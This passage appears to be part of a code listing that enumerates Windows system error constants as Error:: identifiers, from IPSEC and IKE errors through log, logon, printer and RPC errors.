Error::IPSEC_DOSP_RECEIVED_MULTICAST, Error::IPSEC_DOSP_STATE_LOOKUP_FAILED, Error::IPSEC_IKE_ADD_UPDATE_KEY_FAILED, Error::IPSEC_IKE_ATTRIB_FAIL, Error::IPSEC_IKE_AUTHORIZATION_FAILURE, Error::IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY, Error::IPSEC_IKE_AUTH_FAIL, Error::IPSEC_IKE_BENIGN_REINIT, Error::IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH, Error::IPSEC_IKE_CGA_AUTH_FAILED, Error::IPSEC_IKE_COEXISTENCE_SUPPRESS, Error::IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED, Error::IPSEC_IKE_CRL_FAILED, Error::IPSEC_IKE_DECRYPT, Error::IPSEC_IKE_DH_FAIL, Error::IPSEC_IKE_DH_FAILURE, Error::IPSEC_IKE_DOS_COOKIE_SENT, Error::IPSEC_IKE_DROP_NO_RESPONSE, Error::IPSEC_IKE_ENCRYPT, Error::IPSEC_IKE_ERROR, Error::IPSEC_IKE_FAILQUERYSSP, Error::IPSEC_IKE_FAILSSPINIT, Error::IPSEC_IKE_GENERAL_PROCESSING_ERROR, Error::IPSEC_IKE_GETSPIFAIL, Error::IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE, Error::IPSEC_IKE_INVALID_AUTH_ALG, Error::IPSEC_IKE_INVALID_AUTH_PAYLOAD, Error::IPSEC_IKE_INVALID_CERT_KEYLEN, Error::IPSEC_IKE_INVALID_CERT_TYPE, Error::IPSEC_IKE_INVALID_COOKIE, Error::IPSEC_IKE_INVALID_ENCRYPT_ALG, Error::IPSEC_IKE_INVALID_FILTER, Error::IPSEC_IKE_INVALID_GROUP, Error::IPSEC_IKE_INVALID_HASH, Error::IPSEC_IKE_INVALID_HASH_ALG, Error::IPSEC_IKE_INVALID_HASH_SIZE, Error::IPSEC_IKE_INVALID_HEADER, Error::IPSEC_IKE_INVALID_KEY_USAGE, Error::IPSEC_IKE_INVALID_MM_FOR_QM, Error::IPSEC_IKE_INVALID_PAYLOAD, Error::IPSEC_IKE_INVALID_POLICY, Error::IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY, Error::IPSEC_IKE_INVALID_SIG, Error::IPSEC_IKE_INVALID_SIGNATURE, Error::IPSEC_IKE_INVALID_SITUATION, Error::IPSEC_IKE_KERBEROS_ERROR, Error::IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL, Error::IPSEC_IKE_LOAD_FAILED, Error::IPSEC_IKE_LOAD_SOFT_SA, Error::IPSEC_IKE_MM_ACQUIRE_DROP, Error::IPSEC_IKE_MM_DELAY_DROP, Error::IPSEC_IKE_MM_EXPIRED, Error::IPSEC_IKE_MM_LIMIT, Error::IPSEC_IKE_NEGOTIATION_DISABLED, Error::IPSEC_IKE_NEGOTIATION_PENDING, Error::IPSEC_IKE_NEG_STATUS_END, Error::IPSEC_IKE_NOTCBPRIV, Error::IPSEC_IKE_NO_CERT, Error::IPSEC_IKE_NO_MM_POLICY, Error::IPSEC_IKE_NO_PEER_CERT, Error::IPSEC_IKE_NO_POLICY, Error::IPSEC_IKE_NO_PRIVATE_KEY, Error::IPSEC_IKE_NO_PUBLIC_KEY, Error::IPSEC_IKE_OUT_OF_MEMORY, Error::IPSEC_IKE_PEER_CRL_FAILED, Error::IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE, Error::IPSEC_IKE_PEER_MM_ASSUMED_INVALID, Error::IPSEC_IKE_POLICY_CHANGE, Error::IPSEC_IKE_POLICY_MATCH, Error::IPSEC_IKE_PROCESS_ERR, Error::IPSEC_IKE_PROCESS_ERR_CERT, Error::IPSEC_IKE_PROCESS_ERR_CERT_REQ, Error::IPSEC_IKE_PROCESS_ERR_DELETE, Error::IPSEC_IKE_PROCESS_ERR_HASH, Error::IPSEC_IKE_PROCESS_ERR_ID, Error::IPSEC_IKE_PROCESS_ERR_KE, Error::IPSEC_IKE_PROCESS_ERR_NATOA, Error::IPSEC_IKE_PROCESS_ERR_NONCE, Error::IPSEC_IKE_PROCESS_ERR_NOTIFY, Error::IPSEC_IKE_PROCESS_ERR_PROP, Error::IPSEC_IKE_PROCESS_ERR_SA, Error::IPSEC_IKE_PROCESS_ERR_SIG, Error::IPSEC_IKE_PROCESS_ERR_TRANS, Error::IPSEC_IKE_PROCESS_ERR_VENDOR, Error::IPSEC_IKE_QM_ACQUIRE_DROP, Error::IPSEC_IKE_QM_DELAY_DROP, Error::IPSEC_IKE_QM_EXPIRED, Error::IPSEC_IKE_QM_LIMIT, Error::IPSEC_IKE_QM_LIMIT_REAP, Error::IPSEC_IKE_QUEUE_DROP_MM, Error::IPSEC_IKE_QUEUE_DROP_NO_MM, Error::IPSEC_IKE_RATELIMIT_DROP, Error::IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING, Error::IPSEC_IKE_RPC_DELETE, Error::IPSEC_IKE_SA_DELETED, Error::IPSEC_IKE_SA_REAPED, Error::IPSEC_IKE_SECLOADFAIL, Error::IPSEC_IKE_SHUTTING_DOWN, Error::IPSEC_IKE_SOFT_SA_TORN_DOWN, Error::IPSEC_IKE_SRVACQFAIL, Error::IPSEC_IKE_SRVQUERYCRED, Error::IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE, Error::IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE, Error::IPSEC_IKE_TIMED_OUT, Error::IPSEC_IKE_TOO_MANY_FILTERS, Error::IPSEC_IKE_UNEXPECTED_MESSAGE_ID, Error::IPSEC_IKE_UNKNOWN_DOI, Error::IPSEC_IKE_UNSUPPORTED_ID, Error::IPSEC_INTEGRITY_CHECK_FAILED, Error::IPSEC_INVALID_PACKET, Error::IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING, Error::IPSEC_MM_AUTH_EXISTS, Error::IPSEC_MM_AUTH_IN_USE, Error::IPSEC_MM_AUTH_NOT_FOUND, Error::IPSEC_MM_AUTH_PENDING_DELETION, Error::IPSEC_MM_FILTER_EXISTS, Error::IPSEC_MM_FILTER_NOT_FOUND, Error::IPSEC_MM_FILTER_PENDING_DELETION, Error::IPSEC_MM_POLICY_EXISTS, Error::IPSEC_MM_POLICY_IN_USE, Error::IPSEC_MM_POLICY_NOT_FOUND, Error::IPSEC_MM_POLICY_PENDING_DELETION, Error::IPSEC_QM_POLICY_EXISTS, Error::IPSEC_QM_POLICY_IN_USE, Error::IPSEC_QM_POLICY_NOT_FOUND, Error::IPSEC_QM_POLICY_PENDING_DELETION, Error::IPSEC_REPLAY_CHECK_FAILED, Error::IPSEC_SA_LIFETIME_EXPIRED, Error::IPSEC_THROTTLE_DROP, Error::IPSEC_TRANSPORT_FILTER_EXISTS, Error::IPSEC_TRANSPORT_FILTER_NOT_FOUND, Error::IPSEC_TRANSPORT_FILTER_PENDING_DELETION, Error::IPSEC_TUNNEL_FILTER_EXISTS, Error::IPSEC_TUNNEL_FILTER_NOT_FOUND, Error::IPSEC_TUNNEL_FILTER_PENDING_DELETION, Error::IPSEC_WRONG_SA, Error::IP_ADDRESS_CONFLICT1, Error::IP_ADDRESS_CONFLICT2, Error::IRQ_BUSY, Error::IS_JOINED, Error::IS_JOIN_PATH, Error::IS_JOIN_TARGET, Error::IS_SUBSTED, Error::IS_SUBST_PATH, Error::IS_SUBST_TARGET, Error::ITERATED_DATA_EXCEEDS_64k, Error::JOIN_TO_JOIN, Error::JOIN_TO_SUBST, Error::JOURNAL_DELETE_IN_PROGRESS, Error::JOURNAL_ENTRY_DELETED, Error::JOURNAL_HOOK_SET, Error::JOURNAL_NOT_ACTIVE, Error::KERNEL_APC, Error::KEY_DELETED, Error::KEY_HAS_CHILDREN, Error::KM_DRIVER_BLOCKED, Error::LABEL_TOO_LONG, Error::LAST_ADMIN, Error::LB_WITHOUT_TABSTOPS, Error::LIBRARY_FULL, Error::LIBRARY_OFFLINE, Error::LICENSE_QUOTA_EXCEEDED, Error::LISTBOX_ID_NOT_FOUND, Error::LM_CROSS_ENCRYPTION_REQUIRED, Error::LOCAL_USER_SESSION_KEY, Error::LOCKED, Error::LOCK_FAILED, Error::LOCK_VIOLATION, Error::LOGIN_TIME_RESTRICTION, Error::LOGIN_WKSTA_RESTRICTION, Error::LOGON_FAILURE, Error::LOGON_NOT_GRANTED, Error::LOGON_SERVER_CONFLICT, Error::LOGON_SESSION_COLLISION, Error::LOGON_SESSION_EXISTS, Error::LOGON_TYPE_NOT_GRANTED, Error::LOG_APPENDED_FLUSH_FAILED, Error::LOG_ARCHIVE_IN_PROGRESS, Error::LOG_ARCHIVE_NOT_IN_PROGRESS, Error::LOG_BLOCKS_EXHAUSTED, Error::LOG_BLOCK_INCOMPLETE, Error::LOG_BLOCK_INVALID, Error::LOG_BLOCK_VERSION, Error::LOG_CANT_DELETE, Error::LOG_CLIENT_ALREADY_REGISTERED, Error::LOG_CLIENT_NOT_REGISTERED, Error::LOG_CONTAINER_LIMIT_EXCEEDED, Error::LOG_CONTAINER_OPEN_FAILED, Error::LOG_CONTAINER_READ_FAILED, Error::LOG_CONTAINER_STATE_INVALID, Error::LOG_CONTAINER_WRITE_FAILED, Error::LOG_CORRUPTION_DETECTED, Error::LOG_DEDICATED, Error::LOG_EPHEMERAL, Error::LOG_FILE_FULL, Error::LOG_FULL, Error::LOG_FULL_HANDLER_IN_PROGRESS, Error::LOG_GROWTH_FAILED, Error::LOG_HARD_ERROR, Error::LOG_INCONSISTENT_SECURITY, Error::LOG_INVALID_RANGE, Error::LOG_METADATA_CORRUPT, Error::LOG_METADATA_FLUSH_FAILED, Error::LOG_METADATA_INCONSISTENT, Error::LOG_METADATA_INVALID, Error::LOG_MULTIPLEXED, Error::LOG_NOT_ENOUGH_CONTAINERS, Error::LOG_NO_RESTART, Error::LOG_PINNED, Error::LOG_PINNED_ARCHIVE_TAIL, Error::LOG_PINNED_RESERVATION, Error::LOG_POLICY_ALREADY_INSTALLED, Error::LOG_POLICY_CONFLICT, Error::LOG_POLICY_INVALID, Error::LOG_POLICY_NOT_INSTALLED, Error::LOG_READ_CONTEXT_INVALID, Error::LOG_READ_MODE_INVALID, Error::LOG_RECORDS_RESERVED_INVALID, Error::LOG_RECORD_NONEXISTENT, Error::LOG_RESERVATION_INVALID, Error::LOG_RESIZE_INVALID_SIZE, Error::LOG_RESTART_INVALID, Error::LOG_SECTOR_INVALID, Error::LOG_SECTOR_PARITY_INVALID, Error::LOG_SECTOR_REMAPPED, Error::LOG_SPACE_RESERVED_INVALID, Error::LOG_START_OF_LOG, Error::LOG_STATE_INVALID, Error::LOG_TAIL_INVALID, Error::LONGJUMP, Error::LOST_WRITEBEHIND_DATA, Error::LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR, Error::LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED, Error::LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR, Error::LUIDS_EXHAUSTED, Error::MACHINE_LOCKED, Error::MAGAZINE_NOT_PRESENT, Error::MALFORMED_SUBSTITUTION_STRING, Error::MAPPED_ALIGNMENT, Error::MARSHALL_OVERFLOW, Error::MAX_SESSIONS_REACHED, Error::MAX_THRDS_REACHED, Error::MCA_EXCEPTION, Error::MCA_INTERNAL_ERROR, Error::MCA_INVALID_CAPABILITIES_STRING, Error::MCA_INVALID_TECHNOLOGY_TYPE_RETURNED, Error::MCA_INVALID_VCP_VERSION, Error::MCA_MCCS_VERSION_MISMATCH, Error::MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION, Error::MCA_OCCURED, Error::MCA_UNSUPPORTED_COLOR_TEMPERATURE, Error::MCA_UNSUPPORTED_MCCS_VERSION, Error::MEDIA_CHANGED, Error::MEDIA_CHECK, Error::MEDIA_INCOMPATIBLE, Error::MEDIA_NOT_AVAILABLE, Error::MEDIA_OFFLINE, Error::MEDIA_UNAVAILABLE, Error::MEDIUM_NOT_ACCESSIBLE, Error::MEMBERS_PRIMARY_GROUP, Error::MEMBER_IN_ALIAS, Error::MEMBER_IN_GROUP, Error::MEMBER_NOT_IN_ALIAS, Error::MEMBER_NOT_IN_GROUP, Error::MEMORY_HARDWARE, Error::MENU_ITEM_NOT_FOUND, Error::MESSAGE_EXCEEDS_MAX_SIZE, Error::MESSAGE_SYNC_ONLY, Error::METAFILE_NOT_SUPPORTED, Error::META_EXPANSION_TOO_LONG, Error::MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION, Error::MISSING_SYSTEMFILE, Error::MOD_NOT_FOUND, Error::MORE_DATA, Error::MORE_WRITES, Error::MOUNT_POINT_NOT_RESOLVED, Error::MP_PROCESSOR_MISMATCH, Error::MR_MID_NOT_FOUND, Error::MUI_FILE_NOT_FOUND, Error::MUI_FILE_NOT_LOADED, Error::MUI_INTLSETTINGS_INVALID_LOCALE_NAME, Error::MUI_INTLSETTINGS_UILANG_NOT_INSTALLED, Error::MUI_INVALID_FILE, Error::MUI_INVALID_LOCALE_NAME, Error::MUI_INVALID_RC_CONFIG, Error::MUI_INVALID_ULTIMATEFALLBACK_NAME, Error::MULTIPLE_FAULT_VIOLATION, Error::MUTANT_LIMIT_EXCEEDED, Error::MUTUAL_AUTH_FAILED, Error::NEGATIVE_SEEK, Error::NESTING_NOT_ALLOWED, Error::NETLOGON_NOT_STARTED, Error::NETNAME_DELETED, Error::NETWORK_ACCESS_DENIED, Error::NETWORK_BUSY, Error::NETWORK_NOT_AVAILABLE, Error::NETWORK_UNREACHABLE, Error::NET_OPEN_FAILED, Error::NET_WRITE_FAULT, Error::NOACCESS, Error::NODE_CANNOT_BE_CLUSTERED, Error::NODE_CANT_HOST_RESOURCE, Error::NODE_NOT_AVAILABLE, Error::NOINTERFACE, Error::NOLOGON_INTERDOMAIN_TRUST_ACCOUNT, Error::NOLOGON_SERVER_TRUST_ACCOUNT, Error::NOLOGON_WORKSTATION_TRUST_ACCOUNT, Error::NONCORE_GROUPS_FOUND, Error::NONE_MAPPED, Error::NONPAGED_SYSTEM_RESOURCES, Error::NON_ACCOUNT_SID, Error::NON_CSV_PATH, Error::NON_DOMAIN_SID, Error::NON_MDICHILD_WINDOW, Error::NOTHING_TO_TERMINATE, Error::NOTIFICATION_GUID_ALREADY_DEFINED, Error::NOTIFY_CLEANUP, Error::NOTIFY_ENUM_DIR, Error::NOT_ALL_ASSIGNED, Error::NOT_AUTHENTICATED, Error::NOT_A_REPARSE_POINT, Error::NOT_CAPABLE, Error::NOT_CHILD_WINDOW, Error::NOT_CONNECTED, Error::NOT_CONTAINER, Error::NOT_DOS_DISK, Error::NOT_EMPTY, Error::NOT_ENOUGH_MEMORY, Error::NOT_ENOUGH_QUOTA, Error::NOT_ENOUGH_SERVER_MEMORY, Error::NOT_EXPORT_FORMAT, Error::NOT_FOUND, Error::NOT_JOINED, Error::NOT_LOCKED, Error::NOT_LOGGED_ON, Error::NOT_LOGON_PROCESS, Error::NOT_OWNER, Error::NOT_QUORUM_CAPABLE, Error::NOT_QUORUM_CLASS, Error::NOT_READY, Error::NOT_REGISTRY_FILE, Error::NOT_SAFEBOOT_SERVICE, Error::NOT_SAFE_MODE_DRIVER, Error::NOT_SAME_DEVICE, Error::NOT_SNAPSHOT_VOLUME, Error::NOT_SUBSTED, Error::NOT_SUPPORTED, Error::NOT_SUPPORTED_ON_SBS, Error::NOT_SUPPORTED_ON_STANDARD_SERVER, Error::NOT_TINY_STREAM, Error::NO_ACE_CONDITION, Error::NO_ASSOCIATION, Error::NO_BROWSER_SERVERS_FOUND, Error::NO_CALLBACK_ACTIVE, Error::NO_DATA, Error::NO_DATA_DETECTED, Error::NO_EFS, Error::NO_EVENT_PAIR, Error::NO_GUID_TRANSLATION, Error::NO_IMPERSONATION_TOKEN, Error::NO_INHERITANCE, Error::NO_LINK_TRACKING_IN_TRANSACTION, Error::NO_LOGON_SERVERS, Error::NO_LOG_SPACE, Error::NO_MATCH, Error::NO_MEDIA_IN_DRIVE, Error::NO_MORE_DEVICES, Error::NO_MORE_FILES, Error::NO_MORE_ITEMS, Error::NO_MORE_MATCHES, Error::NO_MORE_SEARCH_HANDLES, Error::NO_MORE_USER_HANDLES, Error::NO_NETWORK, Error::NO_NET_OR_BAD_PATH, Error::NO_NVRAM_RESOURCES, Error::NO_PAGEFILE, Error::NO_PROC_SLOTS, Error::NO_PROMOTION_ACTIVE, Error::NO_QUOTAS_FOR_ACCOUNT, Error::NO_RECOVERY_POLICY, Error::NO_RECOVERY_PROGRAM, Error::NO_SAVEPOINT_WITH_OPEN_FILES, Error::NO_SCROLLBARS, Error::NO_SECRETS, Error::NO_SECURITY_ON_OBJECT, Error::NO_SHUTDOWN_IN_PROGRESS, Error::NO_SIGNAL_SENT, Error::NO_SITENAME, Error::NO_SITE_SETTINGS_OBJECT, Error::NO_SPOOL_SPACE, Error::NO_SUCH_ALIAS, Error::NO_SUCH_DOMAIN, Error::NO_SUCH_GROUP, Error::NO_SUCH_LOGON_SESSION, Error::NO_SUCH_MEMBER, Error::NO_SUCH_PACKAGE, Error::NO_SUCH_PRIVILEGE, Error::NO_SUCH_SITE, Error::NO_SUCH_USER, Error::NO_SUPPORTING_DRIVES, Error::NO_SYSTEM_MENU, Error::NO_SYSTEM_RESOURCES, Error::NO_TOKEN, Error::NO_TRACKING_SERVICE, Error::NO_TRUST_LSA_SECRET, Error::NO_TRUST_SAM_ACCOUNT, Error::NO_TXF_METADATA, Error::NO_UNICODE_TRANSLATION, Error::NO_USER_KEYS, Error::NO_USER_SESSION_KEY, Error::NO_VOLUME_ID, Error::NO_VOLUME_LABEL, Error::NO_WILDCARD_CHARACTERS, Error::NO_WRITABLE_DC_FOUND, Error::NO_YIELD_PERFORMED, Error::NTLM_BLOCKED, Error::NT_CROSS_ENCRYPTION_REQUIRED, Error::NULL_LM_PASSWORD, Error::OBJECT_ALREADY_EXISTS, Error::OBJECT_IN_LIST, Error::OBJECT_NAME_EXISTS, Error::OBJECT_NOT_FOUND, Error::OBJECT_NO_LONGER_EXISTS, Error::OLD_WIN_VERSION, Error::ONLY_IF_CONNECTED, Error::OPEN_FAILED, Error::OPEN_FILES, Error::OPERATION_ABORTED, Error::OPERATION_NOT_SUPPORTED_IN_TRANSACTION, Error::OPLOCK_BREAK_IN_PROGRESS, Error::OPLOCK_HANDLE_CLOSED, Error::OPLOCK_NOT_GRANTED, Error::OPLOCK_SWITCHED_TO_NEW_HANDLE, Error::OR_INVALID_OID, Error::OR_INVALID_OXID, Error::OR_INVALID_SET, Error::OUTOFMEMORY, Error::OUT_OF_PAPER, Error::OUT_OF_STRUCTURES, Error::OVERRIDE_NOCHANGES, Error::PAGED_SYSTEM_RESOURCES, Error::PAGEFILE_CREATE_FAILED, Error::PAGEFILE_QUOTA, Error::PAGEFILE_QUOTA_EXCEEDED, Error::PAGE_FAULT_COPY_ON_WRITE, Error::PAGE_FAULT_DEMAND_ZERO, Error::PAGE_FAULT_GUARD_PAGE, Error::PAGE_FAULT_PAGING_FILE, Error::PAGE_FAULT_TRANSITION, Error::PARAMETER_QUOTA_EXCEEDED, Error::PARTIAL_COPY, Error::PARTITION_FAILURE, Error::PASSWORD_EXPIRED, Error::PASSWORD_MUST_CHANGE, Error::PASSWORD_RESTRICTION, Error::PATCH_MANAGED_ADVERTISED_PRODUCT, Error::PATCH_NO_SEQUENCE, Error::PATCH_PACKAGE_INVALID, Error::PATCH_PACKAGE_OPEN_FAILED, Error::PATCH_PACKAGE_REJECTED, Error::PATCH_PACKAGE_UNSUPPORTED, Error::PATCH_REMOVAL_DISALLOWED, Error::PATCH_REMOVAL_UNSUPPORTED, Error::PATCH_TARGET_NOT_FOUND, Error::PATH_BUSY, Error::PATH_NOT_FOUND, Error::PEERDIST_ALREADY_COMPLETED, Error::PEERDIST_ALREADY_EXISTS, Error::PEERDIST_ALREADY_INITIALIZED, Error::PEERDIST_CANNOT_PARSE_CONTENTINFO, Error::PEERDIST_CONTENTINFO_VERSION_UNSUPPORTED, Error::PEERDIST_INVALIDATED, Error::PEERDIST_INVALID_CONFIGURATION, Error::PEERDIST_MISSING_DATA, Error::PEERDIST_NOT_INITIALIZED, Error::PEERDIST_NOT_LICENSED, Error::PEERDIST_NO_MORE, Error::PEERDIST_OPERATION_NOTFOUND, Error::PEERDIST_OUT_OF_BOUNDS, Error::PEERDIST_SERVICE_UNAVAILABLE, Error::PEERDIST_SHUTDOWN_IN_PROGRESS, Error::PEERDIST_VERSION_UNSUPPORTED, Error::PER_USER_TRUST_QUOTA_EXCEEDED, Error::PIPE_BUSY, Error::PIPE_CONNECTED, Error::PIPE_LISTENING, Error::PIPE_LOCAL, Error::PIPE_NOT_CONNECTED, Error::PKINIT_FAILURE, Error::PLUGPLAY_QUERY_VETOED, Error::PNP_BAD_MPS_TABLE, Error::PNP_INVALID_ID, Error::PNP_IRQ_TRANSLATION_FAILED, Error::PNP_REBOOT_REQUIRED, Error::PNP_RESTART_ENUMERATION, Error::PNP_TRANSLATION_FAILED, Error::POINT_NOT_FOUND, Error::POLICY_OBJECT_NOT_FOUND, Error::POLICY_ONLY_IN_DS, Error::POPUP_ALREADY_ACTIVE, Error::PORT_MESSAGE_TOO_LONG, Error::PORT_NOT_SET, Error::PORT_UNREACHABLE, Error::POSSIBLE_DEADLOCK, Error::POTENTIAL_FILE_FOUND, Error::PREDEFINED_HANDLE, Error::PRIMARY_TRANSPORT_CONNECT_FAILED, Error::PRINTER_ALREADY_EXISTS, Error::PRINTER_DELETED, Error::PRINTER_DRIVER_ALREADY_INSTALLED, Error::PRINTER_DRIVER_BLOCKED, Error::PRINTER_DRIVER_DOWNLOAD_NEEDED, Error::PRINTER_DRIVER_IN_USE, Error::PRINTER_DRIVER_PACKAGE_IN_USE, Error::PRINTER_DRIVER_WARNED, Error::PRINTER_HAS_JOBS_QUEUED, Error::PRINTER_NOT_FOUND, Error::PRINTQ_FULL, Error::PRINT_CANCELLED, Error::PRINT_JOB_RESTART_REQUIRED, Error::PRINT_MONITOR_ALREADY_INSTALLED, Error::PRINT_MONITOR_IN_USE, Error::PRINT_PROCESSOR_ALREADY_INSTALLED, Error::PRIVATE_DIALOG_INDEX, Error::PRIVILEGE_NOT_HELD, Error::PROCESS_ABORTED, Error::PROCESS_IN_JOB, Error::PROCESS_IS_PROTECTED, Error::PROCESS_MODE_ALREADY_BACKGROUND, Error::PROCESS_MODE_NOT_BACKGROUND, Error::PROCESS_NOT_IN_JOB, Error::PROC_NOT_FOUND, Error::PRODUCT_UNINSTALLED, Error::PRODUCT_VERSION, Error::PROFILE_DOES_NOT_MATCH_DEVICE, Error::PROFILE_NOT_ASSOCIATED_WITH_DEVICE, Error::PROFILE_NOT_FOUND, Error::PROFILING_AT_LIMIT, Error::PROFILING_NOT_STARTED, Error::PROFILING_NOT_STOPPED, Error::PROMOTION_ACTIVE, Error::PROTOCOL_UNREACHABLE, Error::PWD_HISTORY_CONFLICT, Error::PWD_TOO_RECENT, Error::PWD_TOO_SHORT, Error::QUORUMLOG_OPEN_FAILED, Error::QUORUM_DISK_NOT_FOUND, Error::QUORUM_NOT_ALLOWED_IN_THIS_GROUP, Error::QUORUM_OWNER_ALIVE, Error::QUORUM_RESOURCE, Error::QUORUM_RESOURCE_ONLINE_FAILED, Error::QUOTA_LIST_INCONSISTENT, Error::RANGE_LIST_CONFLICT, Error::RANGE_NOT_FOUND, Error::RDP_PROTOCOL_ERROR, Error::READ_FAULT, Error::RECEIVE_EXPEDITED, Error::RECEIVE_PARTIAL, Error::RECEIVE_PARTIAL_EXPEDITED, Error::RECOVERY_FAILURE, Error::RECOVERY_NOT_NEEDED, Error::REC_NON_EXISTENT, Error::REDIRECTOR_HAS_OPEN_HANDLES, Error::REDIR_PAUSED, Error::REGISTRY_CORRUPT, Error::REGISTRY_HIVE_RECOVERED, Error::REGISTRY_IO_FAILED, Error::REGISTRY_QUOTA_LIMIT, Error::REGISTRY_RECOVERED, Error::REG_NAT_CONSUMPTION, Error::RELOC_CHAIN_XEEDS_SEGLIM, Error::REMOTE_FILE_VERSION_MISMATCH, Error::REMOTE_PRINT_CONNECTIONS_BLOCKED, Error::REMOTE_SESSION_LIMIT_EXCEEDED, Error::REMOTE_STORAGE_MEDIA_ERROR, Error::REMOTE_STORAGE_NOT_ACTIVE, Error::REM_NOT_LIST, Error::REPARSE, Error::REPARSE_ATTRIBUTE_CONFLICT, Error::REPARSE_OBJECT, Error::REPARSE_TAG_INVALID, Error::REPARSE_TAG_MISMATCH, Error::REPLY_MESSAGE_MISMATCH, Error::REQUEST_ABORTED, Error::REQUEST_OUT_OF_SEQUENCE, Error::REQUEST_REFUSED, Error::REQUIRES_INTERACTIVE_WINDOWSTATION, Error::REQ_NOT_ACCEP, Error::RESMON_CREATE_FAILED, Error::RESMON_INVALID_STATE, Error::RESMON_ONLINE_FAILED, Error::RESOURCEMANAGER_NOT_FOUND, Error::RESOURCEMANAGER_READ_ONLY, Error::RESOURCE_CALL_TIMED_OUT, Error::RESOURCE_DATA_NOT_FOUND, Error::RESOURCE_DISABLED, Error::RESOURCE_ENUM_USER_STOP, Error::RESOURCE_FAILED, Error::RESOURCE_LANG_NOT_FOUND, Error::RESOURCE_NAME_NOT_FOUND, Error::RESOURCE_NOT_AVAILABLE, Error::RESOURCE_NOT_FOUND, Error::RESOURCE_NOT_ONLINE, Error::RESOURCE_NOT_PRESENT, Error::RESOURCE_ONLINE, Error::RESOURCE_PROPERTIES_STORED, Error::RESOURCE_PROPERTY_UNCHANGEABLE, Error::RESOURCE_REQUIREMENTS_CHANGED, Error::RESOURCE_TYPE_NOT_FOUND, Error::RESTART_APPLICATION, Error::RESUME_HIBERNATION, Error::RETRY, Error::REVISION_MISMATCH, Error::RING2SEG_MUST_BE_MOVABLE, Error::RING2_STACK_IN_USE, Error::RMODE_APP, Error::RM_ALREADY_STARTED, Error::RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT, Error::RM_DISCONNECTED, Error::RM_METADATA_CORRUPT, Error::RM_NOT_ACTIVE, Error::ROLLBACK_TIMER_EXPIRED, Error::ROWSNOTRELEASED, Error::RPC_S_ADDRESS_ERROR, Error::RPC_S_ALREADY_LISTENING, Error::RPC_S_ALREADY_REGISTERED, Error::RPC_S_BINDING_HAS_NO_AUTH, Error::RPC_S_BINDING_INCOMPLETE, Error::RPC_S_CALL_CANCELLED, Error::RPC_S_CALL_FAILED, Error::RPC_S_CALL_FAILED_DNE, Error::RPC_S_CALL_IN_PROGRESS, Error::RPC_S_CANNOT_SUPPORT, Error::RPC_S_CANT_CREATE_ENDPOINT, Error::RPC_S_COMM_FAILURE, Error::RPC_S_COOKIE_AUTH_FAILED, Error::RPC_S_DUPLICATE_ENDPOINT, Error::RPC_S_ENTRY_ALREADY_EXISTS, Error::RPC_S_ENTRY_NOT_FOUND, Error::RPC_S_ENTRY_TYPE_MISMATCH, Error::RPC_S_FP_DIV_ZERO, Error::RPC_S_FP_OVERFLOW, Error::RPC_S_FP_UNDERFLOW, Error::RPC_S_GROUP_MEMBER_NOT_FOUND, Error::RPC_S_GRP_ELT_NOT_ADDED, Error::RPC_S_GRP_ELT_NOT_REMOVED, Error::RPC_S_INCOMPLETE_NAME, Error::RPC_S_INTERFACE_NOT_EXPORTED, Error::RPC_S_INTERFACE_NOT_FOUND, Error::RPC_S_INTERNAL_ERROR, Error::RPC_S_INVALID_ASYNC_CALL, Error::RPC_S_INVALID_ASYNC_HANDLE, Error::RPC_S_INVALID_AUTH_IDENTITY, Error::RPC_S_INVALID_BINDING, Error::RPC_S_INVALID_BOUND, Error::RPC_S_INVALID_ENDPOINT_FORMAT, Error::RPC_S_INVALID_NAF_ID, Error::RPC_S_INVALID_NAME_SYNTAX, Error::RPC_S_INVALID_NETWORK_OPTIONS, Error::RPC_S_INVALID_NET_ADDR, Error::RPC_S_INVALID_OBJECT, Error::RPC_S_INVALID_RPC_PROTSEQ, Error::RPC_S_INVALID_STRING_BINDING, Error::RPC_S_INVALID_STRING_UUID, Error::RPC_S_INVALID_TAG, Error::RPC_S_INVALID_TIMEOUT, Error::RPC_S_INVALID_VERS_OPTION, Error::RPC_S_MAX_CALLS_TOO_SMALL, Error::RPC_S_NAME_SERVICE_UNAVAILABLE, Error::RPC_S_NOTHING_TO_EXPORT, Error::RPC_S_NOT_ALL_OBJS_EXPORTED, Error::RPC_S_NOT_ALL_OBJS_UNEXPORTED, Error::RPC_S_NOT_CANCELLED, Error::RPC_S_NOT_LISTENING, Error::RPC_S_NOT_RPC_ERROR, Error::RPC_S_NO_BINDINGS, Error::RPC_S_NO_CALL_ACTIVE, Error::RPC_S_NO_CONTEXT_AVAILABLE, Error::RPC_S_NO_ENDPOINT_FOUND, Error::RPC_S_NO_ENTRY_NAME, Error::RPC_S_NO_INTERFACES, Error::RPC_S_NO_MORE_BINDINGS, Error::RPC_S_NO_MORE_MEMBERS, Error::RPC_S_NO_PRINC_NAME, Error::RPC_S_NO_PROTSEQS, Error::RPC_S_NO_PROTSEQS_REGISTERED, Error::RPC_S_OBJECT_NOT_FOUND, Error::RPC_S_OUT_OF_RESOURCES, Error::RPC_S_PRF_ELT_NOT_ADDED, Error::RPC_S_PRF_ELT_NOT_REMOVED, Error::RPC_S_PROCNUM_OUT_OF_RANGE, Error::RPC_S_PROFILE_NOT_ADDED, Error::RPC_S_PROTOCOL_ERROR, Error::RPC_S_PROTSEQ_NOT_FOUND, Error::RPC_S_PROTSEQ_NOT_SUPPORTED, Error::RPC_S_PROXY_ACCESS_DENIED, Error::RPC_S_SEC_PKG_ERROR, Error::RPC_S_SEND_INCOMPLETE, 